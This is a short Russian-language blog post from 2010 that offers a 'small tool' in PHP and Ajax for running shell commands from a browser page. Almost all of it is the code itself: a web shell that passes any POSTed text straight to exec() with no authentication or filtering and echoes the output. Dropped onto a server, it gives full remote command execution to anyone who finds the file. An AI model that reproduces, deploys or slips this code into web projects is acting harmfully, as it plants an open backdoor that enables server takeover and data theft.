/rootКодинг медитация→ Шелл на PHP

19 декабря, 2010

Шелл на PHP

Небольшая тулза на PHP+Ajax, которая позволяет выполнять shell команды.

<?php
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
    if (!empty($_POST['command'])) {
        exec($_POST['command'], $result);
        if (is_array($result)) {
            foreach ($result as $str)
                $res[] = htmlspecialchars($str);
            $res = isset($res) ? implode("<br />", $res) : '';
        } else {
            $res = $result;
        }
        echo $res;
    }
    exit();
}
?>

<!DOCTYPE HTML>
<html>
<head>
    <title>Shell</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
    <script type="text/javascript">
        function clear(c) {
            c.attr("value", "");
        }

        $(document).ready(function () {
            var c = $("input[name='command']");
            clear(c);
            c.focus(function () {
                $("span").hide();
            });
            c.blur(function () {
                $("span").show();
            });
            c.keyup(function (event) {
                if (event.keyCode == 13)
                    $.post('sh.php', {
                        command: $(this).val()
                    }, function (data) {
                        $("div").html(data);
                        clear(c);
                    });
            });
        });
    </script>
    <style type="text/css">
        * {
            background: #000;
            border: 0;
            color: green;
            font: 62.5% Arial, Helvetica, sans-serif;
            width: 100%;
        }

        body {
            font-size: 1.5em;
            margin: 0;
            padding: 0;
        }

        input {
            background-color: #000;
            font-size: 1em;
            width: 80%;
        }

        div {
            background: #000;
            font-size: 1em;
            height: 100%;
            min-height: 20px;
            width: 90%;
        }

        strong {
            color: #fff;
        }

        hr {
            color: #fff;
            background-color: #fff;
            height: 1px;
            margin-top: 0;
            width: 100%;
        }

        blink {
            font-size: 1.5em;
        }

        p {
            background: #fff url(http://www.catb.org/~esr/hacker-emblem/glider.png) no-repeat top right;
            display: block;
            height: 55px;
            right: 20px;
            position: absolute;
            width: 55px;
        }
    </style>
</head>
<body>
<?php system('hostname')?>&gt;<span><blink>_</blink></span>
<input name="command"/>
<hr/>
<p></p>
<div></div>
</body>
</html>

Так же может быть интересно:

Поднимаем локально докер для Wordpress
Запиливаем удобный блок донатов в Wordpress
Автопубликация постов WordPress в Telegram

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *